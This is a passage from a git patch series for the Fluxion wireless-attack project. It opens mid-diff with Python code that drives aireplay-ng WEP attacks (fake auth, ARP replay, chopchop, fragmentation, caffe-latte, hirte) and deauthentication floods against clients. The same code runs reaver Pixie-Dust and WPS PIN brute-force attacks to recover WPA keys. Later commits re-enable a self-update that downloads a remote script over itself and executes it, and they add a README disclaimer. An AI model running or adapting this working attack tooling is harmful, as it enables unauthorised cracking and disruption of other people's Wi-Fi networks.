authenticate with a WEP access point. + Gives 3 seconds to make each 5 authentication attempts. + Returns True if authentication was successful, False otherwise. + """ + max_wait = 3 # Time, in seconds, to allow each fake authentication + max_attempts = 5 # Number of attempts to make + + for fa_index in xrange(1, max_attempts + 1): + print '\r ', + print '\r %s attempting %sfake authentication%s (%d/%d)... ' % \ + (GR + time_to_display + W, G, W, fa_index, max_attempts), + stdout.flush() + + cmd = ['aireplay-ng', + '--ignore-negative-one', + '-1', '0', # Fake auth, no delay + '-a', target.bssid, + '-T', '1'] # Make 1 attempt + if target.ssid != '': + cmd.append('-e') + cmd.append(target.ssid) + cmd.append(iface) + + proc_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN) + started = time.time() + while proc_fakeauth.poll() == None and time.time() - started <= max_wait: pass + if time.time() - started > max_wait: + send_interrupt(proc_fakeauth) + print R + 'failed' + W, + stdout.flush() + time.sleep(0.5) + continue + + result = proc_fakeauth.communicate()[0].lower() + if result.find('switching to shared key') != -1 or \ + result.find('rejects open system'): pass + if result.find('association successful') != -1: + print G + 'success!' + W + return True + + print R + 'failed' + W, + stdout.flush() + time.sleep(0.5) + continue + print '' + return False + + def get_aireplay_command(self, iface, attack_num, target, clients, client_mac): + """ + Returns aireplay-ng command line arguments based on parameters. + """ + cmd = '' + if attack_num == 0: + cmd = ['aireplay-ng', + '--ignore-negative-one', + '--arpreplay', + '-b', target.bssid, + '-x', str(self.RUN_CONFIG.WEP_PPS)] # Packets per second + if client_mac != '': + cmd.append('-h') + cmd.append(client_mac) + elif len(clients) > 0: + cmd.append('-h') + cmd.append(clients[0].bssid) + cmd.append(iface) + + elif attack_num == 1: + cmd = ['aireplay-ng', + '--ignore-negative-one', + '--chopchop', + '-b', target.bssid, + '-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second + '-m', '60', # Minimum packet length (bytes) + '-n', '82', # Maxmimum packet length + '-F'] # Automatically choose the first packet + if client_mac != '': + cmd.append('-h') + cmd.append(client_mac) + elif len(clients) > 0: + cmd.append('-h') + cmd.append(clients[0].bssid) + cmd.append(iface) + + elif attack_num == 2: + cmd = ['aireplay-ng', + '--ignore-negative-one', + '--fragment', + '-b', target.bssid, + '-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second + '-m', '100', # Minimum packet length (bytes) + '-F'] # Automatically choose the first packet + if client_mac != '': + cmd.append('-h') + cmd.append(client_mac) + elif len(clients) > 0: + cmd.append('-h') + cmd.append(clients[0].bssid) + cmd.append(iface) + + elif attack_num == 3: + cmd = ['aireplay-ng', + '--ignore-negative-one', + '--caffe-latte', + '-b', target.bssid] + if len(clients) > 0: + cmd.append('-h') + cmd.append(clients[0].bssid) + cmd.append(iface) + + elif attack_num == 4: + cmd = ['aireplay-ng', '--ignore-negative-one', '--interactive', '-b', target.bssid, '-c', + 'ff:ff:ff:ff:ff:ff', '-t', '1', '-x', str(self.RUN_CONFIG.WEP_PPS), '-F', '-p', '0841', iface] + + elif attack_num == 5: + if len(clients) == 0: + print R + ' [0:00:00] unable to carry out hirte attack: ' + O + 'no clients' + return '' + cmd = ['aireplay-ng', + '--ignore-negative-one', + '--cfrag', + '-h', clients[0].bssid, + iface] + + return cmd + + def wep_send_deauths(self, iface, target, clients): + """ + Sends deauth packets to broadcast and every client. + """ + # Send deauth to broadcast + cmd = ['aireplay-ng', + '--ignore-negative-one', + '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), + '-a', target.bssid, + iface] + call(cmd, stdout=DN, stderr=DN) + # Send deauth to every client + for client in clients: + cmd = ['aireplay-ng', + '--ignore-negative-one', + '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), + '-a', target.bssid, + '-h', client.bssid, + iface] + call(cmd, stdout=DN, stderr=DN) + + +################# +# WPS FUNCTIONS # +################# +class WPSAttack(Attack): + def __init__(self, iface, target, config): + self.iface = iface + self.target = target + self.RUN_CONFIG = config + + def RunAttack(self): + ''' + Abstract method for initializing the WPS attack + ''' + if self.is_pixie_supported(): + # Try the pixie-dust attack + if self.attack_wps_pixie(): + # If it succeeds, stop + return True + + # Drop out if user specified to run ONLY the pixie attack + if self.RUN_CONFIG.PIXIE: + return False + + # Try the WPS PIN attack + return self.attack_wps() + + def EndAttack(self): + ''' + Abstract method for ending the WPS attack + ''' + pass + + def is_pixie_supported(self): + ''' + Checks if current version of Reaver supports the pixie-dust attack + ''' + p = Popen(['reaver', '-h'], stdout=DN, stderr=PIPE) + stdout = p.communicate()[1] + for line in stdout.split('\n'): + if '--pixie-dust' in line: + return True + return False + + def attack_wps_pixie(self): + """ + Attempts "Pixie WPS" attack which certain vendors + susceptible to. + """ + + # TODO Check if the user's version of reaver supports the Pixie attack (1.5.2+, "mod by t6_x") + # If not, return False + + print GR + ' [0:00:00]' + W + ' initializing %sWPS Pixie attack%s on %s' % \ + (G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W) + cmd = ['reaver', + '-i', self.iface, + '-b', self.target.bssid, + '-o', self.RUN_CONFIG.temp + 'out.out', # Dump output to file to be monitored + '-c', self.target.channel, + '-s', 'n', + '-K', '1', # Pixie WPS attack + '-vv'] # verbose output + + # Redirect stderr to output file + errf = open(self.RUN_CONFIG.temp + 'pixie.out', 'a') + # Start process + proc = Popen(cmd, stdout=errf, stderr=errf) + + cracked = False # Flag for when password/pin is found + time_started = time.time() + pin = '' + key = '' + + try: + while not cracked: + time.sleep(1) + errf.flush() + if proc.poll() != None: + # Process stopped: Cracked? Failed? + errf.close() + inf = open(self.RUN_CONFIG.temp + 'pixie.out', 'r') + lines = inf.read().split('\n') + inf.close() + for line in lines: + # When it's cracked: + if line.find("WPS PIN: '") != -1: + pin = line[line.find("WPS PIN: '") + 10:-1] + if line.find("WPA PSK: '") != -1: + key = line[line.find("WPA PSK: '") + 10:-1] + cracked = True + # When it' failed: + if 'Pixie-Dust' in line and 'WPS pin not found' in line: + # PixieDust isn't possible on this router + print '\r %s WPS Pixie attack%s failed - WPS pin not found %s' % (GR + sec_to_hms(time.time() - time_started) + G, R, W) + break + break + + print '\r %s WPS Pixie attack:' % (GR + sec_to_hms(time.time() - time_started) + G), + # Check if there's an output file to parse + if not os.path.exists(self.RUN_CONFIG.temp + 'out.out'): continue + inf = open(self.RUN_CONFIG.temp + 'out.out', 'r') + lines = inf.read().split('\n') + inf.close() + + output_line = '' + for line in lines: + line = line.replace('[+]', '').replace('[!]', '').replace('\0', '').strip() + if line == '' or line == ' ' or line == '\t': continue + if len(line) > 50: + # Trim to a reasonable size + line = line[0:47] + '...' + output_line = line + + if 'Sending M2 message' in output_line: + # At this point in the Pixie attack, all output is via stderr + # We have to wait for the process to finish to see the result. + print O, 'attempting to crack and fetch psk... ', W, + elif output_line != '': + # Print the last message from reaver as a "status update" + print C, output_line, W, ' ' * (50 - len(output_line)), + + stdout.flush() + + # Clear out output file + inf = open(self.RUN_CONFIG.temp + 'out.out', 'w') + inf.close() + + # End of big "while not cracked" loop + if cracked: + if pin != '': print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W) + if key != '': print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W) + self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % ( + G + self.target.ssid + W, C + key + W, C + pin + W)) + self.RUN_CONFIG.WPA_FINDINGS.append('') + + t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid) + t.key = key + t.wps = pin + self.RUN_CONFIG.save_cracked(t) + + except KeyboardInterrupt: + print R + '\n (^C)' + O + ' WPS Pixie attack interrupted' + W + if attack_interrupted_prompt(): + send_interrupt(proc) + print '' + self.RUN_CONFIG.exit_gracefully(0) + + send_interrupt(proc) + + # Delete the files + os.remove(self.RUN_CONFIG.temp + "out.out") + os.remove(self.RUN_CONFIG.temp + "pixie.out") + return cracked + + + def attack_wps(self): + """ + Mounts attack against target on iface. + Uses "reaver" to attempt to brute force the PIN. + Once PIN is found, PSK can be recovered. + PSK is displayed to user and added to WPS_FINDINGS + """ + print GR + ' [0:00:00]' + W + ' initializing %sWPS PIN attack%s on %s' % \ + (G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W) + + cmd = ['reaver', + '-i', self.iface, + '-b', self.target.bssid, + '-o', self.RUN_CONFIG.temp + 'out.out', # Dump output to file to be monitored + '-a', # auto-detect best options, auto-resumes sessions, doesn't require input! + '-c', self.target.channel, + # '--ignore-locks', + '-vv'] # verbose output + proc = Popen(cmd, stdout=DN, stderr=DN) + + cracked = False # Flag for when password/pin is found + percent = 'x.xx%' # Percentage complete + aps = 'x' # Seconds per attempt + time_started = time.time() + last_success = time_started # Time of last successful attempt + last_pin = '' # Keep track of last pin tried (to detect retries) + retries = 0 # Number of times we have attempted this PIN + tries_total = 0 # Number of times we have attempted all pins + tries = 0 # Number of successful attempts + pin = '' + key = '' + + try: + while not cracked: + time.sleep(1) + + if proc.poll() != None: + # Process stopped: Cracked? Failed? + inf = open(self.RUN_CONFIG.temp + 'out.out', 'r') + lines = inf.read().split('\n') + inf.close() + for line in lines: + # When it's cracked: + if line.find("WPS PIN: '") != -1: + pin = line[line.find("WPS PIN: '") + 10:-1] + if line.find("WPA PSK: '") != -1: + key = line[line.find("WPA PSK: '") + 10:-1] + cracked = True + + break + + if not os.path.exists(self.RUN_CONFIG.temp + 'out.out'): continue + + inf = open(self.RUN_CONFIG.temp + 'out.out', 'r') + lines = inf.read().split('\n') + inf.close() + + for line in lines: + if line.strip() == '': continue + # Status + if line.find(' complete @ ') != -1 and len(line) > 8: + percent = line.split(' ')[1] + i = line.find(' (') + j = line.find(' seconds/', i) + if i != -1 and j != -1: aps = line[i + 2:j] + # PIN attempt + elif line.find(' Trying pin ') != -1: + pin = line.strip().split(' ')[-1] + if pin == last_pin: + retries += 1 + elif tries_total == 0: + last_pin = pin + tries_total -= 1 + else: + last_success = time.time() + tries += 1 + last_pin = pin + retries = 0 + tries_total += 1 + + # Warning + elif line.endswith('10 failed connections in a row'): + pass + + # Check for PIN/PSK + elif line.find("WPS PIN: '") != -1: + pin = line[line.find("WPS PIN: '") + 10:-1] + elif line.find("WPA PSK: '") != -1: + key = line[line.find("WPA PSK: '") + 10:-1] + cracked = True + if cracked: break + + print ' %s WPS attack, %s success/ttl,' % \ + (GR + sec_to_hms(time.time() - time_started) + W, \ + G + str(tries) + W + '/' + O + str(tries_total) + W), + + if percent == 'x.xx%' and aps == 'x': + print '\r', + else: + print '%s complete (%s sec/att) \r' % (G + percent + W, G + aps + W), + + if self.RUN_CONFIG.WPS_TIMEOUT > 0 and (time.time() - last_success) > self.RUN_CONFIG.WPS_TIMEOUT: + print R + '\n [!]' + O + ' unable to complete successful try in %d seconds' % ( + self.RUN_CONFIG.WPS_TIMEOUT) + print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W) + break + + if self.RUN_CONFIG.WPS_MAX_RETRIES > 0 and retries > self.RUN_CONFIG.WPS_MAX_RETRIES: + print R + '\n [!]' + O + ' unable to complete successful try in %d retries' % ( + self.RUN_CONFIG.WPS_MAX_RETRIES) + print R + ' [+]' + O + ' the access point may have WPS-locking enabled, or is too far away' + W + print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W) + break + + if self.RUN_CONFIG.WPS_RATIO_THRESHOLD > 0.0 and tries > 0 and ( + float(tries) / tries_total) < self.RUN_CONFIG.WPS_RATIO_THRESHOLD: + print R + '\n [!]' + O + ' successful/total attempts ratio was too low (< %.2f)' % ( + self.RUN_CONFIG.WPS_RATIO_THRESHOLD) + print R + ' [+]' + W + ' skipping %s' % (G + self.target.ssid + W) + break + + stdout.flush() + # Clear out output file if bigger than 1mb + inf = open(self.RUN_CONFIG.temp + 'out.out', 'w') + inf.close() + + # End of big "while not cracked" loop + + if cracked: + if pin != '': print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W) + if key != '': print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W) + self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % ( + G + self.target.ssid + W, C + key + W, C + pin + W)) + self.RUN_CONFIG.WPA_FINDINGS.append('') + + t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid) + t.key = key + t.wps = pin + self.RUN_CONFIG.save_cracked(t) + + except KeyboardInterrupt: + print R + '\n (^C)' + O + ' WPS brute-force attack interrupted' + W + if attack_interrupted_prompt(): + send_interrupt(proc) + print '' + self.RUN_CONFIG.exit_gracefully(0) + + send_interrupt(proc) + + return cracked + + +if __name__ == '__main__': + RUN_CONFIG = RunConfiguration() + try: + banner(RUN_CONFIG) + engine = RunEngine(RUN_CONFIG) + engine.Start() + #main(RUN_CONFIG) + except KeyboardInterrupt: + print R + '\n (^C)' + O + ' interrupted\n' + W + except EOFError: + print R + '\n (^D)' + O + ' interrupted\n' + W + + RUN_CONFIG.exit_gracefully(0) From 88c43c16e3dcd1caf25664d92910781e48bc96e8 Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 20 Apr 2016 06:19:19 +0200 Subject: [PATCH 137/294] Update Revision --- fluxion | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 4de18d9..6189557 100755 --- a/fluxion +++ b/fluxion @@ -19,7 +19,7 @@ HANDSHAKE_PATH="/root/handshakes" PASSLOG_PATH="/root/pwlog" # Deauth duration during handshake capture DEAUTHTIME="20" -revision=1 +revision=35 version=0.19 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) From f8add9aa730e001dee91a8e7f4e093cbb9badaf5 Mon Sep 17 00:00:00 2001 From: William Todt Date: Thu, 21 Apr 2016 13:48:31 +0200 Subject: [PATCH 138/294] Update README.md --- README.md | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d273e28..5efd0ff 100644 --- a/README.md +++ b/README.md @@ -5,8 +5,8 @@ Fluxion is a remake of linset by vk439 with fixed bugs and added features. It's Fluxion gets updated weekly with new features, improvements and bugfixes. Be sure to check out the [Channelog] (https://github.com/deltaxflux/fluxion) - - +## :octocat: How to contribute +All contributions are welcome, from code to documentation to graphics to design suggestions to bug reports. Please use GitHub to its fullest-- contribute Pull Requests, contribute tutorials or other wiki content-- whatever you have to offer, we can use it! ## :book: How it works @@ -21,7 +21,9 @@ Be sure to check out the [Channelog] (https://github.com/deltaxflux/fluxion) * Each submitted password is verified against the handshake captured earlier * The attack will automatically terminate once correct password is submitted +## :heavy_exclamation_mark: Requirements +A linux operating system. We recommend Kali Linux 2 or Kali 2016.1 rolling. Kali 2 & 2016 support the latest aircrack-ng versions. A external wifi card is recommended. ## :eight_spoked_asterisk: Bugs fixed @@ -42,3 +44,7 @@ Be sure to check out the [Channelog] (https://github.com/deltaxflux/fluxion) 5. Derv82 @Wifite/2 6. Sophron @Wifiphisher 7. sensepost @Mana + +## Disclaimer + +***Note: Fluxion is intended to be used for legal security purposes only, and you should only use it to protect networks/hosts you own or have permission to test. Any other use is not the responsibility of the developer(s). Be sure that you understand and are complying with the Fluxion licenses and laws in your area. In other words, don't be stupid, don't be an asshole, and use this tool responsibly and legally.*** From 01d460f8f1c667f8903e741c3e60c20e0ec37108 Mon Sep 17 00:00:00 2001 From: William Todt Date: Thu, 21 Apr 2016 13:49:18 +0200 Subject: [PATCH 139/294] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 5efd0ff..0249d69 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ Fluxion is a remake of linset by vk439 with fixed bugs and added features. It's ## :scroll: Changelog Fluxion gets updated weekly with new features, improvements and bugfixes. -Be sure to check out the [Channelog] (https://github.com/deltaxflux/fluxion) +Be sure to check out the [Changelog] (https://github.com/deltaxflux/fluxion) ## :octocat: How to contribute All contributions are welcome, from code to documentation to graphics to design suggestions to bug reports. Please use GitHub to its fullest-- contribute Pull Requests, contribute tutorials or other wiki content-- whatever you have to offer, we can use it! From 8d2e3a2fce92dd5bee49d10aaa589bb18585481d Mon Sep 17 00:00:00 2001 From: William Todt Date: Thu, 21 Apr 2016 14:09:07 +0200 Subject: [PATCH 140/294] Update fluxion --- fluxion | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/fluxion b/fluxion index 6189557..c7e7c9c 100755 --- a/fluxion +++ b/fluxion @@ -516,22 +516,22 @@ if [ $FLUX_DEBUG != 1 ]; then spinner "$!" revision_online=$(cat $DUMP_PATH/Irev) echo -e ""$white" [${purple}${revision_online}$white"$transparent"]" -# if [ "$revision_online" != "?" ]; then -# -# if [ "$revision" != "$revision_online" ]; then -# -# cp $0 $HOME/flux_rev-$revision.backup -# curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/fluxion -s -o $0 -# echo -# echo -# echo -e ""$red" -#Updated successfully! Restarting the script to apply the changes ..."$transparent"" -# sleep 5 -# chmod +x $0 -# exec $0 -# -# fi -# fi + if [ "$revision_online" != "?" ]; then + + if [ "$revision" != "$revision_online" ]; then + + cp $0 $HOME/flux_rev-$revision.backup + curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/fluxion -s -o $0 + echo + echo + echo -e ""$red" +Updated successfully! Restarting the script to apply the changes ..."$transparent"" + sleep 5 + chmod +x $0 + exec $0 + + fi + fi echo "" tput cnorm sleep 2 From ad4e55625d815d0ad5c36ec0fbfe06628fa4e452 Mon Sep 17 00:00:00 2001 From: William Todt Date: Thu, 21 Apr 2016 14:10:35 +0200 Subject: [PATCH 141/294] Delete Useless Stuff / Fix Checkupdates Function / Auto Update now --- fluxion | 15 --------------- 1 file changed, 15 deletions(-) diff --git a/fluxion b/fluxion index c7e7c9c..3785f5d 100755 --- a/fluxion +++ b/fluxion @@ -538,21 +538,6 @@ Updated successfully! Restarting the script to apply the changes ..."$transparen fi -function tools { - declare tools=tools/ - if [ -d $tools ]; then - - mostrarheader - conditional_clear - rm -f tools.zip - wget https://sites.google.com/site/deltaxflux/tools.zip - unzip tools.zip - rm -f tools.zip - -fi -} -tools - # Show info for the selected AP function infoap { From 77915e84780a2fa190823eb1f1eba78bf069d734 Mon Sep 17 00:00:00 2001 From: DidyMond Date: Mon, 25 Apr 2016 11:01:16 +0200 Subject: [PATCH 142/294] Added credits to me --- fluxion | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/fluxion b/fluxion index 4de18d9..e399816 100755 --- a/fluxion +++ b/fluxion @@ -255,13 +255,13 @@ function mostrarheader(){ conditional_clear echo -e "$blue#########################################################" echo -e "$blue# #" - echo -e "$blue# $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" #" - echo -e "$blue#"${yellow} by "${red}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria" " ${blue}#"" + echo -e "$blue# $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" #" + echo -e "$blue#${yellow} by "${red}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria" " ${blue}#" + echo -e "$blue#${yellow} "${red}M""${yellow}odded" by "${red}"D""${yellow}"idy"${red}M""${yellow}ond" " ${blue}#" echo -e "$blue# #" echo -e "$blue#########################################################""$transparent" echo echo - } ##################################### < END OF CONFIGURATION SECTION > ##################################### @@ -507,8 +507,10 @@ if [ $FLUX_DEBUG != 1 ]; then sleep 1 echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" + echo -e $white" (mod "$yellow"by"$white" DidyMond) " sleep 1 - echo -e $green " Page:"$red" https://github.com/deltaxflux/fluxion "$transparent + echo -e $green " Master Project:"$red" https://github.com/deltaxflux/fluxion "$transparent + echo -e $green " Forked Project:"$red" https://github.com/DidyMond/fluxion "$transparent sleep 1 echo -n " Latest rev." tput civis @@ -1342,7 +1344,7 @@ echo -e ""$blue"1)"$transparent" 1 Adapter" echo -e ""$blue"2)"$transparent" 2 Adapters" echo -e ""$blue"3)"$transparent" 3 Adapters" echo -e ""$blue"4)"$transparent" 4 Adapters " -echo -e " "$blue"5)"$transparent" 5 Adapters" +echo -e ""$blue"5)"$transparent" 5 Adapters" read a case $a in From 14c3109272e2a81c53f757306c4b77e275567a69 Mon Sep 17 00:00:00 2001 From: DidyMond Date: Mon, 25 Apr 2016 11:04:34 +0200 Subject: [PATCH 143/294] Deleted all file from nightly ad old directory --- nightly/0.01/flux/flux.1/flux | 1 - nightly/0.01/fluxion/fluxion.1/fluxion | 1 - nightly/0.02/flux/flux.1/flux | 1 - nightly/0.02/fluxion/fluxion.1/fluxion | 1 - nightly/0.03/flux/flux.1/flux | 1 - nightly/0.03/fluxion/fluxion.1/fluxion | 1 - nightly/0.04/flux/flux.1/flux | 1 - nightly/0.04/fluxion/fluxion.1/fluxion | 1 - nightly/0.05/flux/flux.1/flux | 1 - nightly/0.05/fluxion/fluxion.1/fluxion | 1 - nightly/0.06/flux/flux.1/flux | 1 - nightly/0.06/fluxion/fluxion.1/fluxion | 1 - nightly/0.07/flux/flux.1/flux | 1 - nightly/0.07/fluxion/fluxion.2/fluxion | 1 - nightly/0.08/flux/flux.1/flux | 1 - nightly/0.08/fluxion/fluxion.1/fluxion | 1 - nightly/0.09/flux/flux.1/flux | 1 - nightly/0.09/fluxion/fluxion.1/fluxion | 1 - nightly/0.10/flux/flux.1/flux | 1 - nightly/0.10/fluxion/fluxion.1/fluxion | 1 - nightly/0.11/flux/flux.1/flux | 1 - nightly/0.11/fluxion/fluxion.1/fluxion | 1 - nightly/0.12/flux/flux.1/flux | 1 - nightly/0.12/fluxion/fluxion.1/fluxion | 1 - nightly/0.13/flux/flux.1/flux | 1 - nightly/0.13/fluxion/fluxion.1/fluxion | 1 - nightly/0.14/flux/flux.1/flux | 1 - nightly/0.14/fluxion/fluxion.1/fluxion | 1 - nightly/0.15/flux/flux.1/flux | 1 - nightly/0.15/fluxion/fluxion.1/fluxion | 1 - nightly/0.16/flux/flux.1/flux | 1 - nightly/0.16/fluxion/fluxion.1/fluxion | 1 - nightly/0.17/flux/flux.1/flux | 1 - nightly/0.17/flux/flux.3/flux | 1 - nightly/0.17/flux/flux.4/flux | 1 - nightly/0.17/flux/flux.5/flux | 4655 ----------------------- nightly/0.17/fluxion/fluxion.1/fluxion | 1 - nightly/0.17/fluxion/fluxion.2/fluxion | 4658 ----------------------- nightly/0.18/flux/flux.3 | 4659 ----------------------- nightly/0.18/fluxion/fluxion.3/fluxion | 4657 ----------------------- nightly/0.18/fluxion/fluxion.4/fluxion | 4660 ------------------------ nightly/0.19/flux/flux | 1803 --------- old/version.1/flux-old | 4594 ----------------------- old/version.2/flux.old | 4658 ----------------------- 44 files changed, 34380 deletions(-) delete mode 100644 nightly/0.01/flux/flux.1/flux delete mode 100644 nightly/0.01/fluxion/fluxion.1/fluxion delete mode 100644 nightly/0.02/flux/flux.1/flux delete mode 100644 nightly/0.02/fluxion/fluxion.1/fluxion delete mode 100644 nightly/0.03/flux/flux.1/flux delete mode 100644 nightly/0.03/fluxion/fluxion.1/fluxion delete mode 100644 nightly/0.04/flux/flux.1/flux delete mode 100644 nightly/0.04/fluxion/fluxion.1/fluxion delete mode 100644 nightly/0.05/flux/flux.1/flux delete mode 100644 nightly/0.05/fluxion/fluxion.1/fluxion delete mode 100644 nightly/0.06/flux/flux.1/flux delete mode 100644 nightly/0.06/fluxion/fluxion.1/fluxion delete mode 100644 nightly/0.07/flux/flux.1/flux delete mode 100644 nightly/0.07/fluxion/fluxion.2/fluxion delete mode 100644 nightly/0.08/flux/flux.1/flux delete mode 100644 nightly/0.08/fluxion/fluxion.1/fluxion delete mode 100644 nightly/0.09/flux/flux.1/flux delete mode 100644 nightly/0.09/fluxion/fluxion.1/fluxion delete mode 100644 nightly/0.10/flux/flux.1/flux delete mode 100644 nightly/0.10/fluxion/fluxion.1/fluxion delete mode 100644 nightly/0.11/flux/flux.1/flux delete mode 100644 nightly/0.11/fluxion/fluxion.1/fluxion delete mode 100644 nightly/0.12/flux/flux.1/flux delete mode 100644 nightly/0.12/fluxion/fluxion.1/fluxion delete mode 100644 nightly/0.13/flux/flux.1/flux delete mode 100644 nightly/0.13/fluxion/fluxion.1/fluxion delete mode 100644 nightly/0.14/flux/flux.1/flux delete mode 100644 nightly/0.14/fluxion/fluxion.1/fluxion delete mode 100644 nightly/0.15/flux/flux.1/flux delete mode 100644 nightly/0.15/fluxion/fluxion.1/fluxion delete mode 100644 nightly/0.16/flux/flux.1/flux delete mode 100644 nightly/0.16/fluxion/fluxion.1/fluxion delete mode 100644 nightly/0.17/flux/flux.1/flux delete mode 100644 nightly/0.17/flux/flux.3/flux delete mode 100644 nightly/0.17/flux/flux.4/flux delete mode 100644 nightly/0.17/flux/flux.5/flux delete mode 100644 nightly/0.17/fluxion/fluxion.1/fluxion delete mode 100644 nightly/0.17/fluxion/fluxion.2/fluxion delete mode 100644 nightly/0.18/flux/flux.3 delete mode 100644 nightly/0.18/fluxion/fluxion.3/fluxion delete mode 100644 nightly/0.18/fluxion/fluxion.4/fluxion delete mode 100644 nightly/0.19/flux/flux delete mode 100644 old/version.1/flux-old delete mode 100644 old/version.2/flux.old diff --git a/nightly/0.01/flux/flux.1/flux b/nightly/0.01/flux/flux.1/flux deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.01/flux/flux.1/flux +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.01/fluxion/fluxion.1/fluxion b/nightly/0.01/fluxion/fluxion.1/fluxion deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.01/fluxion/fluxion.1/fluxion +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.02/flux/flux.1/flux b/nightly/0.02/flux/flux.1/flux deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.02/flux/flux.1/flux +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.02/fluxion/fluxion.1/fluxion b/nightly/0.02/fluxion/fluxion.1/fluxion deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.02/fluxion/fluxion.1/fluxion +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.03/flux/flux.1/flux b/nightly/0.03/flux/flux.1/flux deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.03/flux/flux.1/flux +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.03/fluxion/fluxion.1/fluxion b/nightly/0.03/fluxion/fluxion.1/fluxion deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.03/fluxion/fluxion.1/fluxion +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.04/flux/flux.1/flux b/nightly/0.04/flux/flux.1/flux deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.04/flux/flux.1/flux +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.04/fluxion/fluxion.1/fluxion b/nightly/0.04/fluxion/fluxion.1/fluxion deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.04/fluxion/fluxion.1/fluxion +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.05/flux/flux.1/flux b/nightly/0.05/flux/flux.1/flux deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.05/flux/flux.1/flux +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.05/fluxion/fluxion.1/fluxion b/nightly/0.05/fluxion/fluxion.1/fluxion deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.05/fluxion/fluxion.1/fluxion +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.06/flux/flux.1/flux b/nightly/0.06/flux/flux.1/flux deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.06/flux/flux.1/flux +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.06/fluxion/fluxion.1/fluxion b/nightly/0.06/fluxion/fluxion.1/fluxion deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.06/fluxion/fluxion.1/fluxion +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.07/flux/flux.1/flux b/nightly/0.07/flux/flux.1/flux deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.07/flux/flux.1/flux +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.07/fluxion/fluxion.2/fluxion b/nightly/0.07/fluxion/fluxion.2/fluxion deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.07/fluxion/fluxion.2/fluxion +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.08/flux/flux.1/flux b/nightly/0.08/flux/flux.1/flux deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.08/flux/flux.1/flux +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.08/fluxion/fluxion.1/fluxion b/nightly/0.08/fluxion/fluxion.1/fluxion deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.08/fluxion/fluxion.1/fluxion +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.09/flux/flux.1/flux b/nightly/0.09/flux/flux.1/flux deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.09/flux/flux.1/flux +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.09/fluxion/fluxion.1/fluxion 